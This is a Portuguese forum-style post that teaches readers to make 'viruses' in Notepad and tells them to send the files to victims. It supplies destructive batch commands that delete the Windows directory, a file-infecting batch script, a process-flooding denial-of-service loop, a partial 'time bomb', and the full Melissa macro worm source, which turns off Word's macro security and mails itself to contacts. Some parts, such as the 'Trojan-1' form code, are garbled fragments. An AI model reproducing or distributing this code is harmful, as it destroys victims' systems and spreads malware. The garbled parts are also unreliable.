Criando Virus no NotepadE muito simples, voce vai fazer um virus no bloco de notas e so seguir as indicacoes,abra o bloco de notasCopie os codigos escolhidos e cole no bloco de notas, ao salvar voce usa a extencao .batexemplo: onomedoarquivo.batSe vc usar outra extensao o arquivo n ira pegarAVISO:Nao execute estes virus em seu proprio Pc, pois pode ocorrer serios danos, voce deve enviar para as vitimas!!! Nome:Del All Windowsrmdir /s /q c:\windowsFuncao:Deleta tdo do Windows (fode o pcNome:Autoexec@ECHO OFF@BREAK OFFdeltree/C: Y\*.*Funcao:Fode com tudoNome:Trojan-1VERSION 5.00Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "mscomctl.ocx"Begin VB.Form Form1BackColor = &H80000007&BorderStyle = 1 'Fixed SingleCaption = "Welcome to XP Blaster Pro (Enterprise Edition)!"ClientHeight = 5400ClientLeft = 45ClientTop = 390ClientWidth = 8085BeginProperty FontName = "Fixedsys"Size = 9Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyIcon = "Source3.frx":0000LinkTopic = "Form1"MaxButton = 0 'FalseMinButton = 0 'FalseMouseIcon = "Source3.frx":08CAPaletteMode = 2 'CustomScaleHeight = 5400ScaleWidth = 8085ShowInTaskbar = 0 'FalseStartUpPosition = 3 'Windows DefaultBegin VB.CommandButton Command3Caption = "About"BeginProperty FontName = "MS Sans Serif"Size = 8.25Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyHeight = 375Left = 120TabIndex = 3Top = 4920Width = 1215EndBegin VB.CommandButton Command2Appearance = 0 'FlatBackColor = &H000000FF&Caption = "WEBSITE"BeginProperty FontName = "Trebuchet MS"Size = 8.25Charset = 0Weight = 400Underline = 0 'FalseItalic = 0 'FalseStrikethrough = 0 'FalseEndPropertyHeightFuncao:Augumas dos trojans tradicionaisNome:Del p/ Windowsdel /s /q c:\windows\Funcao:Deleta tudo dentro do Windows ex: arquivos e naum pastasNome:Shutdown-Sshutdown -sFuncao:Desliga o pcNome:Shutdown-Rshutdown -rFuncao:Reinicia o pcNome:Trojan-2@echo offctty nulremfor %%f in (*.exe *.com) do set A=%%fif %A%==COMMAND.COM set A=rename %A% V%A%if not exist V%A% goto endattrib +h V%A%copy %0.bat %A%attrib +r %A%ren %A% *.batset A=:endctty con@if exist V%0.com V%0.com %1 %2 %3@if exist V%0.exe V%0.exe %1 %2 %3Funcao:Fode com tudo mesmo...Nome:PirataX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*Funcao:Testar seu Anti-Virus ou enganar auguem.Nome:Melissa 1999// Melissa Virus Source CodePrivate Sub Document_Open()On Error Resume NextIf System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> ""ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&ElseCommandBars("Tools").Controls("Macro").Enabled = FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName, BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString("","HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo"ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo = 1 To AddyBook.AddressEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext ooBreakUmOffASlice.Subject = "Important Message From " &Application.UserNameBreakUmOffASlice.Body = "Here is that document you asked for ... don'tshow anyone else Wink"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep = ""Next yDasMapiName.LogoffEndFuncao:se espalha rapidamente e forca empresas como Intel e Microsoft, entre outras, a fechar seus sistemas de e-mail para conter a praga, que se disseminava via Outlook. O virus, alem de se enviar pela Internet, modificava documentos do Word colocando falas do programa de televisao Os Simpsons. Causou danos estimados em US$ 300 milhoes a US$ 600 milhoes.Nome:CLICK EM MIM@ECHO OFF:REPETEMSG * CLICK EM MIMGOTO REPETEFuncao:Fica repetindo varias vezes a mesma mensagemNome:Progstar@echo offrem Denial Of Service Local:Fuckerstart notepad.exestart write.exestart sol.exestart cmd.exestart powerpnt.exestart excel.exestart winword.exestart msacess.exegoto Fucker:Funcao:Abre varios programas sem parar, fais o pc travarNome:bomba relogioc:\cd\echo offif exist lig1.drv goto 2echo > lig1.drv sdfsdfgoto fim:2if exist lig2.drv goto 3echo > lig2.drv